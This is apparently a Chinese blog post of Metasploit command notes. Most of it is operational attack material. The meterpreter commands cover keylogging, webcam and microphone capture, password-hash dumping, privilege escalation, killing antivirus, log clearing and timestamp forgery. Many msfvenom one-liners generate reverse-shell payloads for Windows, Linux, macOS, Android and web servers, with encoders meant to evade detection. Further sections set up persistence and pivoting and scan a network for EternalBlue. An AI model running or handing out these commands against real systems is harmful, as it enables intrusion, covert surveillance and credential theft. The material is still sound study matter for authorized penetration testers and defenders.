MSF之命令笔记篇

0x00 一键式安装

Ubuntu-System

1
2
3
4
cd /opt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

Termux-System

1
2
3
4
cd
pkg install wget
wget https://Auxilus.github.io/metasploit.sh
bash metasploit.sh

OR

1
2
pkg install unstable-repo
pkg install metasploit

Win10_Kali-System

1
2
3
4
powershell管理员模式下输入:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
kali命令行下输入:
sudo apt-get install metasploit-framework

0x01 常用命令①

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
show exploits 			– 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型

back(返回): 从目前的情况下向后移动
cd: 改变当前的工作目录
color: 切换颜色
connect(远程连接): 与主机通信
exit (退出命令行): 退出控制台

help(帮助) : 帮助菜单
info(获取模块信息): 关于一个或多个模块显示信息
irb: 进入irb脚本模式
jobs: 显示和管理职位
kill(结束进程): 结束一个进程
load (加载): 加载一个框架插件
loadpath : 搜索和负载从一个路径模块
makerc: 保存自开始进入到一个文件中的命令
popm: 弹出最新的模块从堆栈中并使其活跃
previous : 将以前加载模块作为当前模块
pushm : 推主动或模块列表在模块栈
quit (退出控制台): 退出控制台
reload_all Reloads : 从所有定义的模块路径的所有模块
rename_job : 重命名工作
resource : 运行存储命令在文件
route : 通过会话路由流量
save: 将数据存储主动
search(搜索exp等模块关键字): 搜索模块的名称和说明
sessions(会话功能): 转储会话列表和显示有关会话的信息

set (设置参数): 设置一个特定的上下文变量的值
setg(全局设置参数): 设置一个全局变量的值
show (展示参数模块): 给定类型的显示模块或所有模块
spool : 写控制台输出到一个文件以及屏幕
threads : 查看和操作后台线程
unload (卸载某个插件): 卸载一个框架插件
unset (删除某个设置参数): 取消设置一个或多个特定的上下文变量
unsetg (取消全局某个设置参数): 取消设置一个或多个全局变量的
use (使用某个模块): 选择按名称模块
version(查看版本信息): 显示的框架和控制台库版本号

0x02 常用命令②

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
background :         进程隐藏至后台
Sysinfo : 系统平台信息
screenshot : 屏幕截取
shell : 命令行shell (exit退出)
ls : 查看文件目录列表
rm : 删除文件
cat : 查看目标文件
getwd : 获取目标机当前工作目录,getlwd本地当前工作工作目录
edit (编辑): 编辑与$ VISUAL或$ EDITOR当前模块的

download C:\\Users\\123\\Desktop\\1.txt 1.txt : 下载文件
upload /var/www/lcx.exe lcx.exe : 上传文件
search -d c: -f *.doc : 搜索文件
execute -f cmd.exe -i : 执行程序/命令
ps : 查看进程
run post/windows/capture/keylog_recorder : 键盘记录
getuid : 查看当前用户权限
use priv : 加载特权模块
getsystem : 提升到SYSTEM权限
hashdump : 导出密码散列
steal_token <PID> : 窃取令牌
rev2self : 恢复原来的令牌
migrate pid : 迁移进程
run killav : 关闭杀毒软件
run getgui-e 启用远程桌面
portfwd add -l 1234 -p 3389 -r <目标IP> : 端口转发
run get_local_subnets : 获取内网网段信息
run autoroute -s <内网网段> : 创建自动路由
run autoroute -p : 查看自动路由表

0x03 常用命令③

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
meterpreter>clearev              清除日志
meterpreter>webcam_list 查看目标是否有摄像头
meterpreter>webcam_snap 连接摄像头拍摄照片
meterpreter>webcam_stream 用摄像头录像
meterpreter>getprivs 查看当前权限
meterpreter>keyscan_start/stop 开始/关闭键盘记录
meterpreter>keyscan_dump 获取键盘记录内容
meterpreter>record_mic 录音
meterpreter>run post/windows/manage/enable_rdp 开启 3389 端口
meterpreter>idletime 查看目标机闲置时间
meterpreter>uictl disable mouse 禁用鼠标
meterpreter>uictl disable keyboard 禁用键盘
meterpreter>getproxy 查看代理信息
meterpreter>run autoroute -s 192.168.159.0/24 添加到目标环境网络
meterpreter>run autoroute –p 查看添加的路由
meterpreter>run post/windows/gather/checkvm 是否 windows 虚拟机
meterpreter>run post/linux/gather/checkvm 是否 linux 虚拟机
meterpreter>run post/windows/gather/enum_patches 补丁信息
meterpreter>idletime 查看目标机闲置时间
meterpreter>reboot / shutdown 重启或关闭主机
meterpreter>timestomp -v C://2.txt 查看时间戳
meterpreter>timestomp C://2.txt -f C://1.txt 将 1.txt 的时间戳复制给 2.txt

0x04 通用使用流程

1
2
3
4
5
6
7
8
9
10
11
第一步:      search name 模块 
第二步: use name 模块
第三步: info 查看模块信息
第四步: show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要)
第五步: set payload 载荷
第六步: show targets 查看该攻击载荷使用的系统类型(为scanner的时候不需要)
第七步: set targets num 设置目标的系统类型
第八步: show options 查看需要设置的参数show advanced 列出所有高级配置选项
第九步: set name 设置参数
第十步: exploit(为scanner 时用run)
第十一步: session –l –v列出所有可用的交互会话以及详细信息

0x05 设置监听

所有监听模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Windows
windows/meterpreter/reversetcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

Linux
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp

设置监听流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > set LHOST 本机IP地址
msf exploit(handler) > set LPORT 监听端口
msf exploit(handler) > exploit -j -z
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)

msf exploit(handler) > sessions -i 2 选择会话
msf exploit(handler) > sessions -k 2 结束会话

0x06 生成反弹木马

默认参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-p        指定要使用的 msf 的 payload,也可以使用自定义 payload。
-l 列出所有可用的所有可用资源. 模块类型包括: payloads, encoders, nops等。
-n 为 payload 预先指定一个 NOP 滑动长度(一切为了绕过防火墙与免杀)。
-f 指定 payload 输出的文件类型,--help-formats,可查看支持的所有输出格式(默认的输出格式是 raw,直接输出 payload 的字符,含乱码之类)。
-e 指定要使用编码器。
-a 指定 payload 的目标架构,如 windows 系统的 x64,x86。
--platform 有效载荷的平台,如 windows 系统等。
-s 设定有效攻击荷载的最大长度,简单说就是生成的后门的字节数。
-b 指定坏字符,比如空字符截断问题等,导致后门无法运行。
-i 指定编码的次数,如果使用编码器。
-c 指定一个附加的 win32 shellcode 文件指定一个自定义的可执行文件作为模板。
-x 使用一个自定义可执行程序模板,并将 payload 嵌入其中
-k 当模板被执行时,payload 自动分离并注入到新的进程中,一般和-x 选项一并使用。
-o 指定创建好的 payload 的存放位置
-v 指定一个自定义的变量,以确定输出格式

生成shell命令:

Linux:

1
2
3
4
5
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf

Windows:

1
2
3
4
5
6
7
8
9
10
11
12
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x64shell.exe

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x86_shell.exe
(32 程序也可在 64 位系统运行)

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll

Mac:

1
2
3
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho

PHP:

1
2
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:

1
2
3
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.jsp

WAR:

1
2
3
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.war

Python:

1
2
3
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o shell.py

Bash:

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:

1
2
3
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.pl

Powershell:

1
2
3
4
5
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1

Android:

1
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f apk -o payload.apk

Aspx:

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx

Nodejs:

1
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js

Ruby:

1
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb

Lua:

1
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua

Windows Shellcode:

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

Linux Shellcode:

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

Mac Shellcode:

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c

0x07 常用技巧

1、长期维持权限①

1
2
3
4
5
6
7
meterpreter > run metsvc -A

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.3.226
set LPORT 31337 (默认)
exploit

该条命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces ,并自动保存为开机自动启动。

2、长期维持权限②

1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > run persistence –X –i 50 –p 8888 –r 192.168.3.226

-A 自动启动一个匹配的exploit/multi/handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows/meterpreter/reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP

3、获取shell后,添加一层路由

1
2
3
4
meterpreter > run autoroute -h                  查看设置路由命令帮助
meterpreter > run get_local_subnets 获取当前设备路由链路
meterpreter > run autoroute -s 192.168.3.0/24 设置路由
meterpreter > run autoroute -p 查看目前设置好的路由

4、批量扫局域网内永恒之蓝

1
2
3
4
5
6
7
msf5 exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24
rhosts => 192.168.3.0/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

5、设置代理

1
2
3
4
5
6
7
8
9
10
11
12
13
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set srvport 8888
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

1. 打开浏览器代理设置
2. 设置Socks Host msf_IP,Port msf_8888
3. 选择Socks v4
4. 保存设置
5. 直接浏览器访问内网地址

6、常见远程攻击模块

1
2
3
use exploit/windows/smb/ms08_067_netapi     (MS08_067 Windows 2k,XP,2003远程攻击)
use exploit/windows/dcerpc/ms06_040_netapi (MS06_040 Windows NT,2k,XP,2003远程攻击)
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index (MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程攻击)

0x08 未完待续

1


MSF之命令笔记篇
https://sh1yan.top/2019/07/28/MSF-Command-Notes/
作者
shiyan
发布于
2019年7月28日
许可协议